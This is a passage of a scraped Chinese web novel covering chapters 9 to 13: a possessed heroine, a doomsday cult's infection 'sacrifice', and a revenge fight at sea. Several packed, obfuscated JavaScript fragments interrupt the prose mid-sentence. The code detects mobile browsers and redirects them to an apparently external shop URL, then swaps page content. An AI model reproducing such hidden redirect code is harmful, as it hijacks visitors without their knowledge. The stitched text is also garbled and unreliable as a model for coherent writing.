;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996481|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她先筛选条件“一张床，共用卫生间”，筛出最新的帖子，本城的仅用零星两条。 发布人之一ID是“ZTech”，章玦猜应该是信息技术类异能者，兴趣缺缺。 再看这人给的租金“每月尽力提供任意效用的一个道具、十斤食物或者两瓶药物，能免费帮家里安装wifi等通讯网络，能帮忙修理一切家电。首次入住免押金。 等于白给住一个月。章玦犹豫了，除非家里有特别需要修的东西…… 章玦先登记下“ZTech”的联系方式，又点开移动地图，只等凌晨一过，就能移动到新地址。 在此期间，她颗粒未入，只能又再次翻箱倒柜，希冀在某个角落找到人能吃的东西。 这次她的运气没有很好，但也没有很差。 她把杂物柜推开，在柜子下找到一段干涸的藻类叶子。这片叶子盘缠成一段粗硕的漩涡，脱水之后体积仍有花盆大小，可想泡了水能膨胀六七倍以上。 省着点吃大概能吃四顿，章玦抓起它，立刻下楼去泡水开火。 等叶子吸水展开的过程中，她愈看愈惊奇，叶子膨胀倍数早已超过十倍，伸出锅外，叶子上的纹路逐渐清晰，大大小小的纹路构成密密麻麻的眼睛。 按压叶片，有粗糙的绒毛质感，该不会是动物的腿之类的吧？这个想法让她对叶子的食欲瞬间跌到零点。 肚子咕隆隆大叫。“我就试试……”章玦熬不住饿，切下一小段，丢进开水锅内，煮了一会儿能闻到浓郁的铁锈味，汤水的颜色浑浊不清。 章玦嗅了嗅，除此之外也没什么异常，鼓起勇气啜了一小口，汤水胶质感很重，入口便顺着喉咙往下溜，进入胃后有灼烧感，可是不强烈。 适应了一分多钟，没有出现呕吐中毒现象，她便敞开了喝，倘若毒不死，她便再煮一些给小倩送去。 胶质藻汤饱腹感极强，章玦牛饮一顿，浑身发热，坐着消化片刻，忽然一种极其微弱的声音从体内深处发出。 这种感觉就像某个内脏忽然通了电，和谁打了电话，嗡嗡嗡有电流声。然后电流经由神经往上走到脑袋，一分钟后，声音清晰了一些，但是章玦半句也没有听懂，她甚至不确定这是不是幻听。 吃进去的东西能在脑子里发出呓语。章玦觉得自己疯了。 声音持续了五分钟，在此期间，章玦一直处于一种混沌的状态，无数只蚂蚱在她脑子里荡秋千，每个细胞都有了自己的运行轨迹。 直到胃里灼热消失，脑子才渐渐冷静，声音潮退后归于死寂。 她晃了晃脑袋，没有东西从耳朵里晃出来，索性起身收拾锅碗。蓦然低头，刚刚自己坐着的地方，草被揪光，泥地上画着一段古怪的纹路，纹路一堆堆分明，章玦歪着头看，像一句话。 她举起自己手指头，指甲上有脏泥，说明这段文字是在她完全失去神智的情况下写出来的。 她刚才一定是被什么寄居进脑袋，然后断片了。这个想法太惊悚，她下意识赶紧打开腕表的拍摄功能，拍下了这句话。 然后她转了两圈，还是决定将没泡的藻叶收起来，万不得已之后不会再吃了。 9. 献祭社 凌晨已过，小倩的屋里打着灯，章玦收拾完再去看它时，它背着门正在梳长发，后脊背高高隆起，听见了声响，也不回头。 “待会我们出去办点事，保证没有生命危险。”章玦搓搓胳膊，屋内好冷。 小倩咳咳笑，嗓音比之前稚嫩，听着像少女，“你再靠近点，我听不清。” 嗯？ 章玦捋开双腿，慢慢腾挪到它背后，今天这位病友透着一股妖气。 小倩又冷幽幽道：“你靠过来啊。” “不必了吧……”章玦后退半步，问：“你哪里不舒服？” 它扭转头来，青白交加的脸，眼眶里渗血，咳咳笑，对准章玦吹了一口气，章玦早有防备，捂主口鼻，连忙后退，退了一下脚有点飘。 章玦晃晃脑袋，小倩眼里分明没有血，仍旧咳咳笑，“我能吹出毒气。” 啊？ 章玦意外看它，刚刚那口气还真有毒蘑菇的味儿。换句话说，鼹鼠的斧头劈中它的脑壳，带来的副作用就是让它进化出吹毒气？ 原著吹的是阴气，它吹毒气，倒也不算离题。 不过章玦有点担忧，进化带来的精神问题似乎比她想象的要严重。 小倩继续咳咳咳笑个不停。 章玦问她：“出去一趟？” “行啊。”它兴奋地延伸出红线，章玦牵得胆战心惊。 一进入它身体，章玦立刻调取地图，移动位置选在鼹鼠死亡的小巷。 凌晨的码头灯火点点，有些人会选择夜航，也有满载归来分发货物的，巷子尚算安静，但也随时有人会过来。 章玦打点武器，迈出门，她的目标很明确，就是找到鼹鼠丢失的车钥匙，然后找到他藏起来的东西。 她点开腕表灯，鼹鼠的尸体还散落在巷里，傍晚的那场爆炸似乎没有引来其他人的关注。 她在墙壁下寻找，钥匙就在附近，摸索片刻果真找到。 接下来是车，挡风玻璃和车头都被爆炸波及，但损坏程度不大，应该还能开。她摁开车锁，上车找东西。 鼹鼠与她打斗时穿的是背心，所以他那件黑夹克极有可能落在车上，章玦碰的就是运气。 黑夹克就塞在驾驶座底下，她揪出来，一股混杂汗液和酒精的酸臭味，差点熏吐她。 黑夹克里里外外四个口袋，章玦摸个遍，都没找到那部翻盖手机。 章玦不甘，鼹鼠这么蠢的人能将手机藏在哪里？忽然震动从某处传来，是手机信号，她循着震动声找到车顶。顶棚布里果然有东西，她割开布，露出巴掌大的缝隙，将手机抠出来。 翻开手机盖，最先弹出密码框，密码框下边有三团小火焰标志不断跳跃。章玦僵持片刻，还是将手机收回随身背包里，然后发动车子，想将车子开进院子里。 车子一发动，轰鸣顿时响起，章玦心里一跳，警惕看周围。 “喂，载我们一程呗。”车后杠有强烈的撞击感，紧跟着章玦摇下车窗便听见一道混不吝的玩笑。 章玦戴着帽子，阴恻恻望他们，两个人从后车门顺上来，黝黑皮肤，全身钉满铆钉。 “下去。”章玦冷硬拒绝，家门就在巷子后边，她不能被人发现。 后座一个人猴儿似的长臂勾过来，凑到章玦脸侧，满口酒气，问：“鼹鼠呢？那家伙和我们约好看表演，老子在酒吧等了几个小时，你说，是不是让你干掉了？” 后座另一位哐哐哐边笑边锤皮椅：“鼹鼠能被个娘们干掉，太菜了吧。” 章玦慨叹一声，送上门来的麻烦只能亲手处理掉。 她扭转脸，笑道：“你们要去看献祭社的表演？不是早就结束了？” 酥音入脑，靠得近的人几乎要扒掉她的帽子，看个究竟，说：“末日福音搅局，演出推迟了，现在过去正好赶上。” 章玦咳咳咳咳剧烈地笑起来，笑声走形，顿时那人“艹”了一句，猛力往后躲。 章玦掀了帽子，一张桃花眼血红泠泠，五指扣住他的脑袋硬扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996482|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到跟前来，体内聂小倩躁动不已，启唇吹出一口毒气。 这人登时四肢僵直，被章玦硬生生从后座拔到副驾驶，关节扭曲塞做一团。 另外一人酒彻底醒了，往自己皮裤带子里掏武器，还没掏出个所以然，脑门上顶住一个坚硬冰冷的东西。 他抬头，黑红黑红的指尖儿抵在他的脑壳上，下一秒就能挖光他的脑髓。 “不是去看表演？你来开车。”血红桃花眼递出一个残忍的笑。 一分钟后，两个混混被塞在前座，一个被抵住脖子，认命开车，另一个撑不过二十分钟，醒过来后要呕吐，被章玦拧开车门，踢了出去。 章玦掐表算，一口毒气能让普通人麻痹半小时，对异能者而言时间不会超过三分钟。怎么看，聂小倩这项新技能都有改良的空间。 “献祭社表演不需要门票？”隔了几条街巷，章玦都能听见车子越驶近，狂呼声越大。 “不需要。”那人从开始的紧张到后来放松，他料定章玦不会下死手，所以愿意说点什么缓解关系。“献祭社恨不得大家都来看演出。他们无条件接收新社员。只要你想，当场填表格就能入社。” 章玦点了点头，嗤嗤笑，“既然这样，你停车吧。” 这人吓得赶紧踩刹车，以为章玦要给他来点狠的，结果只是把他踢下车，然后从后座窜到前座，把住方向盘，动作行云流水。 章玦戴回帽子，顺着人潮声开过去。来都来了，她想看看献祭社到底是什么组织，表演又是怎么一回事。 闸口有人拦车，章玦寻了一个地方停车，步行进广场。这儿原本是城市中心广场，中间竖着战争中陨落的英雄雕塑。 如今雕塑下边竖起几个历史的糟粕物——猎巫十字架。 历史没有重演，却在某个扭曲的点上唤醒相似的暴力。猎巫十字架共五个，每个上边都准备献祭一个人。 章玦立在人群里，无从判断这些是普通人，异能者还是癖人。他们被统一裹上黑袍。 10. 厄瑞波斯教授 凌晨，灯火煌煌，一批批黑袍使者款款走到英雄雕塑下，最后上来的人步履轻快，一头白色长发随风飞扬，她的袍裾比别人要精细，后背上绣了一串圆形的珠子，珠子四周有根须图案，珠子中间则绣了重叠的门。 她一站上台，人群喧哗呐喊：“厄瑞波斯教授！” 厄瑞波斯抬了抬眼镜，朝底下的人示意安静。 “亲眷们，我们在冥影的眷顾中相聚，何其幸运。”厄瑞波斯是天然的演讲家，嗓音清润却有某种安抚人心的魔力。 章玦眉头紧锁，冥影该不会指的是天空中那个巨大的黑影？献祭社认为那是影子？ 厄瑞波斯继续道：“冥影降临昭示着我们的罪孽，我们要向祂展示出洗清罪孽的勇气，唯有如此，我们才得以用纯净的灵魂投奔祂开启的新世界。” 这种典型的洗脑话术显然对于部分狂热之徒很有煽动效果。他们叫嚣着：“厄瑞波斯，请让冥影下来吧！” “冥影正以我们所不知道的方式接近我们的世界，你们所窥见的只是影子，而祂伟大的意志与身躯仍旧遥不可及，但祂终将到来。祂的到来意味着世界上所有的灵魂将被筛选，那些肮脏有罪的灵魂会瞬间蒸发，而纯粹干净的灵魂将跟随祂进入新的未来。” 厄瑞波斯娓娓道来，感慨一声：“蓝星将死。” “蓝星将死，可我们的同胞们却致力于将我们拖向罪恶的深渊，他们不知忏悔，不知羞耻，企图毁掉所有人。我们必须对抗这股邪恶的洪流，对抗贪婪的人性，对抗恐惧懦弱的本能，即使脱去皮骨，也要洗净孽身。” 厄瑞波斯一通慷慨陈词，手指向猎巫十字架上的人，发出今晚最后一句话：“让我们在炼火中体悟罪孽，直面罪孽，那些灵魂升华的人将连通冥影，得到赐福。赐福者将成为献祭社的修行大信徒。” 章玦听得云里雾里，她原以为献祭社顶多是拉人去献祭，听下来却像让人去苦修？怎么苦修？ 黑袍使者手执钢刀，排成两队，一队走到人群中，另一队虔诚诵念经文，排布在十字架下。 来围观者多数是猎奇，看到好戏正式开演，有的激动有的开始恐惧，有些人想往后撤，后面被黑袍使者堵死，一时之间不敢妄动。 章玦渐渐往边缘地区移动，倘若不对劲，她第一时间吹晕守卫，冲出去开车。 忽然最前面的人尖啸出声，章玦看十字架上，那些黑袍被砍断，投掷下台。 尖啸的一部分原因是被投掷下来的黑袍与里面的东西像断尾的壁虎，仍旧不断挣扎扭动，另一部分原因是架子上的黑袍脱落，暴露出腐烂的身躯。 丧尸？章玦拧眉判断这种不死的生物。 人群哄然大叫：“是诡尸。” 原来这个世界管这玩意叫“诡尸”。 人群暴动全往外涌，章玦脚底用劲飘动，这样能防止被撞翻踩踏。 她飘起来后身量比普通人高，回首看，能一眼看到厄瑞波斯慈祥的笑容，宛如祖母看孩子们抢万圣节糖果。 让普通人被感染，在感染中挣扎求生，然后诞生出所谓的大信徒，才是献祭社打的算盘。 章玦转眼瞥向被诡尸咬住喉咙或者脑部的人，不禁怔愣，难怪这些生物叫“诡尸”，实在面部诡异非常。 它们生前肯定都是人，但被感染后发癫，脑部变异，竟与感染它们的阿贝贝越长越像。章玦甚至可以辨认出其中有一个诡尸长得像新手捏出来的歪歪扭扭的断臂维纳斯。 之所以这么肯定，是因为那根断臂就长它左脑上。至于另外一些，非人非物，无一例外都有一张腐烂的血盆大口，口舌分泌大量酸蚀性液体。 被咬到的人很快脑部会高高隆起，里面像钻进了什么生物，不断在脑骨上撞击，撞出一个个凹凸不平的脓包。然后被咬之人也会发疯，见人就咬。 章玦被挤到边缘区，黑袍使者堵住出口，一脚想将她踹回去，被她偏开，这些人都是异能者，力量非凡。 章玦是躲开了，后头压上来的癫狂人扑到她身上，大口大口地啃。 唉！章玦将身上两个人拔下来，这些人力气也大的惊人，口舌还处于腐烂的初级阶段，没有糊弄她一身唾液。 她一手一个，钢爪把两个下巴都卸了，丧失咬合力的两个感染人哇哇哇地大吼，被她两拳暴打向地。 身侧一人紧紧勾住她手臂，她以为是小孩，想着搭把手，低头看是个侏儒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昏淡光线照在老男人匍匐的后背上，粗呢红衣上赫然有一个圆形珠子的图案，与厄瑞波斯身上的图腾一致。 11. 海蜗牛 毫不迟疑，章玦亮出钢爪与手枪，静静盯着这人逐渐平复喘息的后背。 “我要死了。”伏低的影子里透出一口扭曲的、绝望的叠音，为了证明自己要死了，他又强调：“我真的要死了。” 章玦只盯着他，“抬起头来。” 她倒要看这人是什么诡尸？ 他在顶光下露出脸，并无异样，双眼浓重的怨尤：“我真的要死了。” 他伸手揭开棕色瓜皮帽，露出一个变形的脑袋，脑骨上面凹凹凸凸，有东西在里面打洞似的。 “你能带我去海边吗？我想死在那里。” 章玦无动于衷，送终说不定变成送死。 男人从怀里掏东西，这会儿才展露出刚刚说的报酬，是一个巴掌大的蜗牛壳，颜色暗黑，着实看不出是什么奇珍异宝。 “这是海蜗牛的壳，是我上次参加献祭社被赐福时候得到的。当我清醒过来后，它就在我的衣服里。” 男人絮絮叨叨。章玦却来了精神，献祭社一直在谈的赐福是什么意思？她问他：“为什么你能得到赐福？” “抱歉女士，请容许我自我介绍，我怕死了你都不知道我的名字。” 章玦用枪点了点示意他继续说。 “我叫查莫罗尼东，我的祖先来自查莫岛，我原本有妻子和女儿，不过她们都被感染了，我四处寻找她们，才到了西大陆。” 尼东端住海蜗牛，神色迷离，陷入一种漫长回忆里，可惜脑壳上的东西不太允许他过于用力的思考，他疼得叫出声，继续说：“总之，我为了找她们才去献祭社，厄瑞波斯说感染过的人有概率能得到赐福，而赐福的人有概率能听到全世界的声音，哪怕是丢失的亲人。” “正如你所见，我第一次就被感染了，可是我没有疯，我的脑子里住进了一个东西，它整夜整夜和我说话，可惜我太笨了，根本听不懂。慢慢的，它就开始攻击我。一开始，厄瑞波斯还待见我，她亲切地问候我的状态，声称我是冥影选中的信徒。可是当她发现我无论怎么开口，都无法说出那些话语时，她抛弃了我。女士，我没有疯，我相信冥影对我说了话，只是我没有听懂。我被抛弃是因为我太普通了，我天生就是个庸人。” “或许你不同。”他忽然改口，“海蜗牛我想送给你，当作报酬也好，当作寄托也好……我之所以没有送给厄瑞波斯，是因为她唾弃我想保留记忆，可你不同，你的灵魂不在这里，我看到了，你的灵魂来自更遥远的地方。” 章玦一下子警惕，这人虽然满口胡话，却在最后切中要点。 尼东祈求：“将我送去海边，求求你，查莫人想死在海边。” “好。”章玦窥见他那双几乎被挤变形的眼珠子里还有强迫自己清醒的光，谈不上可怜，只是觉得将他扔在这儿慢慢等死，确实不地道。 车子开得飞快，一路上查莫人弥留之际哼着家乡的歌，直到歌声微弱，章玦看窗外还没到海边，回头匆匆瞥一眼，这人脑壳上边露出一点一点的小白芽，她顿时后背发凉，猛地踩油门。 开一阵她窥视一下后视镜，这人眼珠子已经钙化，脸部膨胀不成样，唯独手指还紧紧攒住海蜗牛。 在这一瞬间，章玦意识到，或许人类的意志可以对抗外来入侵物种的思想呢？阿贝贝所产生的执念真的是感染源吗？ 接连两个问题缠绕住她的思绪，车子开到海边，她便迅速打开车门，后座的人早已断了气。章玦从他手中取走海蜗牛，收入口袋，两手勾住这人肩膀往外拖。 沿海公路往下是一段陡峭的悬崖，实在无法做到体面送这人走，章玦朝尸体念了一声：“得罪了。” 然后用力一推，尸体在礁石上撞击，章玦点亮腕表灯，清晰看到尸首碰撞在石头上，与花瓶碎裂相似，整个脑袋四分五裂，里头竟都是空的。空脑袋与身体没入海里，海浪击碎了所有痕迹。 章玦将海蜗牛取出来，仔细观察，经历刚刚一幕，再看这东西便很膈应，不自觉幻想它是某个人的花瓶脑袋。那些回旋的螺纹或许就是脑沟的纹路。 沉默半瞬，章玦将之收回，开车回家。 章玦将车子开进院子里，回到自己身体后，又返回来车后备箱搬鼹鼠留下来的东西，几张兑换券，一条毯子，一件黑夹克，两瓶酒还有一小箱鲭鱼罐头。 章玦开了鱼罐头，鱼腥味冲天，鱼没有开膛破肚，没有清洗，直接拿盐和油浸渍过，她登时没有半点胃口，强忍着呕吐吃下一罐，其余的，她尽数拿去给聂小倩。 小倩闻着鱼味，眉头一耸，逐客：“拿这种东西喂我，你当我狗？” 章玦将鱼罐头抱走，朝内看，小倩的伤口好的七七八八，她忽然醒悟，难道它不再需要进食，而是需要烧点香蜡纸烛？ 转念想，刚才在献祭社现场人气是挺足的，那个时候聂小倩飘动的速度就很灵活。所以，它吸阳气？ 章玦大力晃脑袋，召出“病历本”，翻到小倩那一页，病历本下半部分模糊的地方此刻多印上一行小字—— 【饮食习惯：病友饮食结构发生变化，可直接进食诡尸脑髓，也可以间接进食感染现场的人气，倘若都没有，可不进食。 作息习惯：病友作息习惯发生变化，白天精力低下，此时强行要其工作将进一步加剧病情，夜晚精力旺盛，状态良好，喜外出。】 章玦捏住手指，试图将“进食诡尸脑髓”几个字划掉，发现只要她想改，手指如同针刺剧痛无比，脑神经也跟着痛。 改不了还是自己现在能力不行，没法改？心中疑窦，腕表立刻感应，回复—— 【你的怪癖之家等级太低，作为家主难辞其咎，除了病友的基础信息，其他都没办法改动，也没办法增加哦！ 而且，目前每位病友只能修改一次基础信息，等你把家做大做强了，就能增加修改次数哈！】 章玦醒悟，点开“怪癖之家”的信息—— 【怪癖之家等级：E】 行吧，菜是原罪。章玦将家拉回原址，免得那两个混混找人来堵她门，横竖又睡不着，便将院里的杂草都清干净，规划出一块专门种毒蘑菇，另一块空着，她便将海藻折出来一小段埋进土里，浇些湖水，又将海蜗牛埋在旁边，属性相似的东西可能会互相滋养。 做完这些，她回屋里，躺在床上翻看鼹鼠的手机，她迟迟打不下密码，怕一出错就锁定或者启动自毁程序之类。 思来想去，她坐起身，打开租房信息，找到“ZTech“的联系方式，瞻前顾后固然稳妥，可也意味着不可能打开新局面。这个世界总归有好人的，她安慰自己，然后通过腕表的系统给“ZTech“发出招租的邮件。 她当然不会傻到暴露家的地址，她想约在其他地方面谈。对方没有立刻回，章玦等了一阵，心焦也没用，只好先睡觉养足精神。 之后连续两天，章玦都悠闲躺在家里。院子里的海藻没有长大的趋势，可也没有死，倒是海蜗牛周围多出了两只半掌大的黄蜂，章玦察觉到它们时，它们正在刨土，被章玦一脚一个踩碎了也埋进土里。 租客也没回复邮件，论坛上也没有新的求租帖子，小倩仍旧白天在睡觉，晚上不拆家改成哼曲儿。 到第三天，天阴沉沉，早上撒过几滴细雨，下午不出阳光，章玦终于耐不住，去喊聂小倩：“今天没太阳，出去走走？” 小倩翻了个身，打个哈欠后拒绝：“没什么精神，不出了。” 章玦：“今天出去试着杀一杀雷利亚。”她谋划了两天，认为雷利亚的软肋就是她的儿子，相对来说弗基这个蠢货要好对付许多。 腾地，一阵风旋过房门，院子与主屋之间铺着木地板，如今上面坐着 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雷利亚可真是演技派，那个女孩与自己一样，面对一个老人，警惕性自然而然下降，结果吃了大闷亏。 章玦不动声色，只等船夫拉起船只的灯，召集码头上的人，喊：“有谁要走美人鱼海域的，上船了，三人打八折，船费两百西陆市场券。” 章玦抽出从鼹鼠车里搜到的兑换券，前后看看，用拉丁文写了一堆规则，大概是兑换的条件。 原来这东西能去西陆市场兑换东西，一下子花去两百，章玦心在滴血。她确定雷利亚和弗基还有那个女孩都上了船，人上得差不多了，她最后才将兑换券递给船家，进去捡个靠近船家的位置坐下。 雷利亚一门心思在与女孩聊天，章玦听见她自我介绍是“东龙国人，叫周蓦然，刚毕业正在找工作”，雷利亚热情地说给她介绍一份送信的活儿，这个年代邮政又重新焕发出商机。 周蓦然礼貌拒绝了，说的理由是“她想回去东龙国，只是路途太远。” 弗基笑道：“就算开车也不可能跨越西大陆和中大陆的，献祭社、末日福音的人难搞，联邦自由城的那些暴民也能随时拆了你的装备，让你滚去开采能源。” 周蓦然只笑笑，仍旧说：“无论如何，我要回去。” 雷利亚夸她是个好孩子，谁都会想念家乡，诸如此类的交谈断断续续，一直持续到船只开进死寂的大海深处。 弗基躁动不安，上一次一样，雷利亚照常安慰他不会次次都这么倒霉，弗基说：“上几次都没找到三叉海蛇，继续找下去，我们搭进去的船费就太多了。” 雷利亚不以为然：“等捕到了，你自然知道值不值得。” 章玦自始至终注视着海面，风浪渐渐有汹涌的苗头，船家骂了一句：“搞什么，我就说今天船上多了陌生女人准要出倒霉事。” 全船的人都安静下来，聆听海浪里的呜咽，有人起了头，问船家：“海妖出现了吗？” “靠你全家，你能闭嘴别说话吗？吓我一跳。”船家吼一声，立马船只往□□斜，一波巨大的力量顺着海浪将船底推高，海面上垫起一米高的水花。 “海妖又出来了！”有人反应剧烈，“不是说无日之日，海妖不会出现吗？” “呵呵，谁和你说的？”雷利亚杵住拐杖，高深莫测样，说：“海妖也会根据味道来捕捉猎物。” 弗基很紧张，他看向周蓦然的方向，问雷利亚：“怎么办？” 海里的东西似乎因为漫长的等待，逐渐不耐烦，风浪一波比一波强烈，船顷刻要往左侧倾覆，但又被船家死死把住方向盘拉住。 雷利亚站起身，大吼：“慌什么？它们只是想要祭品。” 12. 报仇X2 雷利亚挥拳表演，目光定格在周蓦然脸上，咧开笑：“孩子，它们需要一男一女的祭品。” 周蓦然立刻醒悟老太婆的歹毒念头，护住背包，惊慌问：“你什么意思？祭品这种事情，至少需要商量吧？” 哈哈哈，一船的人几乎都笑了。 雷利亚：“你们听听，多么天真的姑娘。” 忽然，船家爆吼一句：“全家死光光啊，你是谁啊，抢我方向盘！” 章玦把住方向盘，船夫骂得更狠：“臭娘们，要死自己跳海死，别连累我。” “哇，你真没素质啊。”章玦冷不丁笑出来，她握住一块黑乎乎的东西，朝船夫的脑门儿崩下去。 分明是一声枪响。 船内灯光摇晃，连雷利亚都蹙起冷厉的眼神。 船夫爆出脏话：“艹你全家，你死定，我说你今天死定了。” 他发狂地爆吼，没素质子弹的效果不断叠加，整条船的人除了他，所有人被一种猪叫的尖锐声响堵住耳蜗。 章玦早有防范，耳朵里塞了棉球，可也忍不住胸口发闷，再看雷利亚，人站得笔直，只是神色微茫。 章玦套上飘飘鞋，一瞬移动到弗基面前，对准他猛吹毒气。 雷利亚将弗基护得太好，若不是打这个时间差，她完全没机会靠近弗基。 等雷利亚反应过来时，弗基已经嘴唇发紫，她去够儿子的肩膀，却见五根钢爪穿过弗基的肩胛骨，然后一使猛劲，弗基被甩出船外。 “不！”雷利亚嘶声大叫：“弗基，快游回来。” 弗基是普通人，麻痹时间最短也要十五分钟，他一点点往下沉，雷利亚看出不对劲，扭头赤目圆睁，看向章玦。 章玦挂着毁灭一切她希望的微笑，对她说：“雷利亚，这才是淑女之道。” 雷利亚想起来了，爆吼：“是你！” 膨胀的拐杖流动出愤怒的光，直面击打章玦。章玦瞬移到船头，雷利亚膨胀的手臂比她更快，将她钳住。 脖子上的手一寸寸深入皮肉，碾压骨头，幸好小倩的骨头比常人硬，章玦被一点点拖到雷利亚面前。 雷利亚膨胀的铁拳击向章玦的腹部，一下下，章玦呕出隔夜的酸水，喷她一脸。 周蓦然从旁偷袭，被雷利亚扬手揍飞。 周蓦然喊其他人：“不如将雷利亚丢进海里当祭品，救救那位小姐。” 有人讥笑：“我们凭什么听东龙人的话？” 周蓦然说不动大家，正要上去再给雷利亚一刀时，场景微妙地闪过一抹光，然后她便凝滞住。 章玦在最后关头用了时间编辑子弹，可是雷利亚是异能者，最多能移动到两分钟之前。 两分钟也行！章玦另生一计，嵌入时间段。 场景斗转，此刻大家正被猪叫声折磨神经，雷利亚正出神，章玦对准她吹了一口毒气，几乎同时雷利亚给了她一拳。 用在鼹鼠身上的招数在雷利亚身上同样奏效。 二十秒后，时间归位，雷利亚出现中毒的后遗症，只不过她的体能比鼹鼠强，中毒的效果经过两分钟早已消解不少，不影响出拳力度。 弗基没被章玦丢出去，中了毒躺在颠簸的船板上。 章玦抓起弗基，雷利亚杀红了眼，拳头来不及收回，一拳打在弗基脑门上，这阵力度过大，船只过于倾斜，于是，弗基咚地再次飞入水里。 二次丧子之痛让雷利亚癫狂，她的身体异化程度扩大，银拐杖接入髋骨，硬生生长成另外一条银腿。 雷利亚用这条银腿扫飞了靠近的周蓦然，周蓦然咚地也飞入水里。 毕竟周蓦然是为了救她，章玦于心不忍，眼前银光一闪，雷利亚已经攻击上来。 船就这么小，跑也跑不了，章玦举枪对准雷利亚。 雷利亚已经不在乎枪里装的是什么。她只顾要杀了章玦。 子弹直击她的胸口，胸口冒起一阵烟，雷利亚低头看，没有伤口，肆无忌惮大笑：“我先把你杀了，再下去救弗基。” 雷利亚第三条腿蓄势膨胀，打算一腿结束战局。 这一脚十分力道，没素质子弹发挥效果，让她一脚踢出雷暴的效果，反作用力超出雷利亚的控制，章玦和她同时从两个方向坠入海里。 两个人分别在海里沉沉浮浮。 章玦没使劲就飘起来，划了一圈，朝海里扎进去。 雷利亚则吃亏在银腿的重量，她水性一般，挣扎两下脱力沉下去。 离周蓦然下水过去两分钟，章玦没抱多大希望，在海里绕一圈，先是看见雷利亚绝望的两只大眼睛，死不瞑目跟她对视，她的下方有个灰点子，是弗基。 弗基身边绕着一圈水猴子，脊椎后边缀着一根根硕大的管子，然后一尾人蛇在管子附近出没。 人蛇发现章玦在看它，它模拟着人类开枪的姿势，对准章玦，无声地吐出一个“波”的口型。 章玦去看周蓦然，她已经沉到水猴子的区域，章玦潜下去捞人。 从水猴子手里抢回人，章玦将雷利亚推下去，水猴子没再纠缠她们，看来所谓祭品需要年轻的一男一女，应该是雷利亚为了把自己摘出去编的谎。 章玦把周蓦然扛上船。 “你还没死啊。”船夫惊讶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002997|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，往外面看，雷利亚和弗基半天没浮起来，带着些许惧惮，这个女人疯疯癫癫，能力竟在雷利亚之上。 章玦给周蓦然压腹部，半天压不出水，估计没救了。 “我来吧。”隔壁看不下去的男人掏出一根软管子，另一头挂着一只塑胶□□，他将管子伸入周蓦然喉咙里，摁压塑料□□。 □□活物一样挤一下呱一下，肚子憋下去，另一头周蓦然的肚子却涨起来。 两分钟后，周蓦然哇一下，吐出一升水，活了。 那人得意道：“过海有过海的道具，你们也太不注意了。” 说完意识到章玦是个狠角色，立刻白了脸。 周蓦然爬起来，形色张惶，回过神发现自己还在船上，捶了一下大腿，喜极而泣：“我没死成。” 说完，她拉开腰包，检查里面的东西，整个人松弛下来。 章玦盯着她腰包上绣的名字“ZTech”，提了提眉，她算救了一个算靠谱的租客。 周蓦然这才和章玦感谢：“姐……”突然她仔细盯小倩这张惊世骇俗的脸，顿了顿，问：“我们是不是在哪里见过？” 章玦拉起她，说：“是啊。你车挂到我了，结果把我扔路上自己跑了。” “啊！”周蓦然赧然地笑，“那时候真是对不起，我一个女孩在外面比较谨慎小心。” “我一个女孩在在外面就活该被撞了丢下？”章玦指了指自己的脸。 周蓦然尴尬地道歉：“真是对不起，我上次被人坑过，而且我确定了你没事我才走的……” “行了，一码归一码，刚刚我又救了你，算起来你欠我两次。”章玦掰着两个长指甲。 周蓦然够义气说：“好，你说个数目，我能凑的给你凑够。” 章玦摇了摇头，钱这种东西有命花才有用，说：“先活着回去吧。” 干掉雷利亚和弗基是这次出海的目标，船不能掉头，章玦便又贪心想要三叉海蛇。 “小哥，打听一下，这三叉海蛇是什么来头？”章玦问刚刚对周蓦然施救的人。 那人如数家珍：“传说三叉海蛇的祖先生活在陆地，是富可敌国的贵族，后来贵族盗走了老国王的头颅，被教会判为黑巫，处以海刑，赶进海里。贵族的后代在海里得了海血疫，居然活了下来，慢慢被海神接纳，成为仆人，才被叫做三叉海蛇。” 章玦掂量着传说的真假，问：“那它们为什么难捕？” “它们会古老的咒语，而且海血疫能感染人类，让人类也成为海底生物。总之，哪怕是刮到一点皮，人类也必死无疑。”那人耸起双肩，越说越害怕。 13. 道具X1 